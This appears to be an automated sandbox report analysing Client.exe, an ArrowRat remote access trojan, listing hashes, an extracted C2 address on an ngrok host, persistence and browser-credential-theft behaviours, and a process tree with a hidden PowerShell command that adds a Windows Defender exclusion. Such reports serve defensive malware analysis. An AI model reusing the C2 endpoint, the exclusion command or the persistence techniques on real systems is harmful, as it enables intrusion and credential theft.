Overview

overview

10

Static

static

10

Client.exe

windows7-x64

10

Client.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    132s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    02-09-2024 17:57

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General

  • Target

    Client.exe

  • Size

    158KB

  • MD5

    330f9ca88df2bb08b5d92df02830a8ab

  • SHA1

    1d94ac49a57ea8c5a77c15b0f9252528f4d429f9

  • SHA256

    8a032aa8eba9f5f0727f26ec74ca3dff029955ae6be9c1e7b7a7a84c41820910

  • SHA512

    aa8d9d9fe801315472bfaada35a56dfc6c64ba0d7cfd9a467858eb2797e365bbc69de4c2afba5667abf6304a266dbeed1a8e13b39a86d2c6b884d12069113f39

  • SSDEEP

    3072:gbzRH+0OoCthfbEFtbcfjF45gjryKKqH6JY2doszEmQotEPPcfP+iO8Y:gbzRe0ODhTEPgnjuIJzo+PPcfP+d8

Score
10/10
arrowratclientcredential_accessdiscoveryexecutionpersistenceratstealer

Malware Config

Extracted

Family

arrowrat

Botnet

Client

C2

6.tcp.eu.ngrok.io:13114:4444

Mutex

IpVAZHAys

Signatures

  • ArrowRat

    Remote access tool with various capabilities first seen in late 2021.

    ratarrowrat
  • Modifies WinLogon for persistence 2 TTPs 1 IoCs
    persistence
  • Credentials from Password Stores: Credentials from Web Browsers 1 TTPs

    Malicious Access or copy of Web Browser Credential store.

    credential_accessstealer
  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 25 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 2 IoCs
  • Modifies Internet Explorer settings 1 TTPs 2 IoCs
    adwarespyware
  • Modifies registry class 41 IoCs
  • Suspicious behavior: EnumeratesProcesses 48 IoCs
  • Suspicious use of AdjustPrivilegeToken 43 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 17 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\Client.exe
    "C:\Users\Admin\AppData\Local\Temp\Client.exe"
    1⤵
    • Modifies WinLogon for persistence
    • Checks computer location settings
    • Suspicious use of SetThreadContext
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1268
    • C:\Windows\explorer.exe
      "C:\Windows\explorer.exe"
      2⤵
      • Boot or Logon Autostart Execution: Active Setup
      • Enumerates connected drives
      • Checks SCSI registry key(s)
      • Modifies registry class
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      PID:4592
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client 6.tcp.eu.ngrok.io:13114 4444 IpVAZHAys
      2⤵
        PID:4064
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client 6.tcp.eu.ngrok.io:13114 4444 IpVAZHAys
        2⤵
        • System Location Discovery: System Language Discovery
        PID:3676
      • C:\Windows\System32\ComputerDefaults.exe
        "C:\Windows\System32\ComputerDefaults.exe"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:3472
        • C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
          "PowerShell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Pan\dora'
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3080
    • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
      "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
      1⤵
      • Modifies registry class
      • Suspicious use of SetWindowsHookEx
      PID:908
    • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
      "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
      1⤵
      • Enumerates system info in registry
      • Modifies Internet Explorer settings
      • Modifies registry class
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SetWindowsHookEx
      PID:4320
    • C:\Windows\system32\taskmgr.exe
      "C:\Windows\system32\taskmgr.exe" /7
      1⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      PID:6064

    Network

    MITRE ATT&CK Enterprise v15

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    Downloads

    • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133697734798112054.txt
      Filesize

      75KB

      MD5

      da7251da1cbdc25648d3898359055617

      SHA1

      e1e48ab65d475145fa68aed1862a6527bf6f7468

      SHA256

      23365a564898d3eb6d91d5abe0c3252e043f3dcaff13e53b4d2645a5684ec68b

      SHA512

      2f96c6ef21a491e41f8f5b16caef01735ef1bf313f6aa85a5db08c0d9275a91337ac18cb0574e2756aa1199a8febe2dd8583fdd790fdc55653a2a56a1532c54f

      Download Submit

    • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ShellFeeds\IDX_CONTENT_TASKBARHEADLINES.json
      Filesize

      239KB

      MD5

      f62f64e85e31aca9eb323ee3e077fb32

      SHA1

      7e073ef52d7f6517438db9ca99a517756b0d206e

      SHA256

      2373dc062ad05f2ce6a1bf30998743dbd98ac926983e1009fe3cc39af5ede742

      SHA512

      15bc61caa0900f14a4eac49c99eb0101766e7865a9accfc0de3694c62d1c6a04213b3645c7508b5119b2abdb74948b740f797e44ab33e50447bba255c1c675a9

      Download Submit

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_adaec4ez.dhb.ps1
      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      Download Submit

    • memory/1268-1-0x000002264F2E0000-0x000002264F30E000-memory.dmp

      Filesize

      184KB

      Download

    • memory/1268-0-0x00007FFAA5023000-0x00007FFAA5025000-memory.dmp

      Filesize

      8KB

      Download

    • memory/1268-187-0x00007FFAA5023000-0x00007FFAA5025000-memory.dmp

      Filesize

      8KB

      Download

    • memory/1268-203-0x00007FFAA5020000-0x00007FFAA5AE1000-memory.dmp

      Filesize

      10.8MB

      Download

    • memory/1268-25-0x00007FFAA5020000-0x00007FFAA5AE1000-memory.dmp

      Filesize

      10.8MB

      Download

    • memory/3080-21-0x000001EB7ED80000-0x000001EB7EDA2000-memory.dmp

      Filesize

      136KB

      Download

    • memory/3676-4-0x0000000005620000-0x00000000056B2000-memory.dmp

      Filesize

      584KB

      Download

    • memory/3676-10-0x00000000066D0000-0x0000000006720000-memory.dmp

      Filesize

      320KB

      Download

    • memory/3676-7-0x0000000005DE0000-0x0000000005E46000-memory.dmp

      Filesize

      408KB

      Download

    • memory/3676-6-0x0000000005F20000-0x00000000064C4000-memory.dmp

      Filesize

      5.6MB

      Download

    • memory/3676-5-0x00000000056C0000-0x000000000575C000-memory.dmp

      Filesize

      624KB

      Download

    • memory/3676-2-0x0000000000400000-0x0000000000418000-memory.dmp

      Filesize

      96KB

      Download

    • memory/4320-35-0x0000014099CA0000-0x0000014099CC0000-memory.dmp

      Filesize

      128KB

      Download

    • memory/4320-66-0x000001409A070000-0x000001409A090000-memory.dmp

      Filesize

      128KB

      Download

    • memory/4320-48-0x0000014099C60000-0x0000014099C80000-memory.dmp

      Filesize

      128KB

      Download

    • memory/4320-30-0x0000014098B40000-0x0000014098C40000-memory.dmp

      Filesize

      1024KB

      Download

    • memory/4320-32-0x0000014098B40000-0x0000014098C40000-memory.dmp

      Filesize

      1024KB

      Download

    • memory/4592-28-0x0000000002BA0000-0x0000000002BA1000-memory.dmp

      Filesize

      4KB

      Download

    • memory/6064-629-0x0000016F75C30000-0x0000016F75C31000-memory.dmp

      Filesize

      4KB

      Download

    • memory/6064-628-0x0000016F75C30000-0x0000016F75C31000-memory.dmp

      Filesize

      4KB

      Download

    • memory/6064-630-0x0000016F75C30000-0x0000016F75C31000-memory.dmp

      Filesize

      4KB

      Download

    • memory/6064-634-0x0000016F75C30000-0x0000016F75C31000-memory.dmp

      Filesize

      4KB

      Download

    • memory/6064-640-0x0000016F75C30000-0x0000016F75C31000-memory.dmp

      Filesize

      4KB

      Download

    • memory/6064-639-0x0000016F75C30000-0x0000016F75C31000-memory.dmp

      Filesize

      4KB

      Download

    • memory/6064-638-0x0000016F75C30000-0x0000016F75C31000-memory.dmp

      Filesize

      4KB

      Download

    • memory/6064-637-0x0000016F75C30000-0x0000016F75C31000-memory.dmp

      Filesize

      4KB

      Download

    • memory/6064-636-0x0000016F75C30000-0x0000016F75C31000-memory.dmp

      Filesize

      4KB

      Download

    • memory/6064-635-0x0000016F75C30000-0x0000016F75C31000-memory.dmp

      Filesize

      4KB

      Download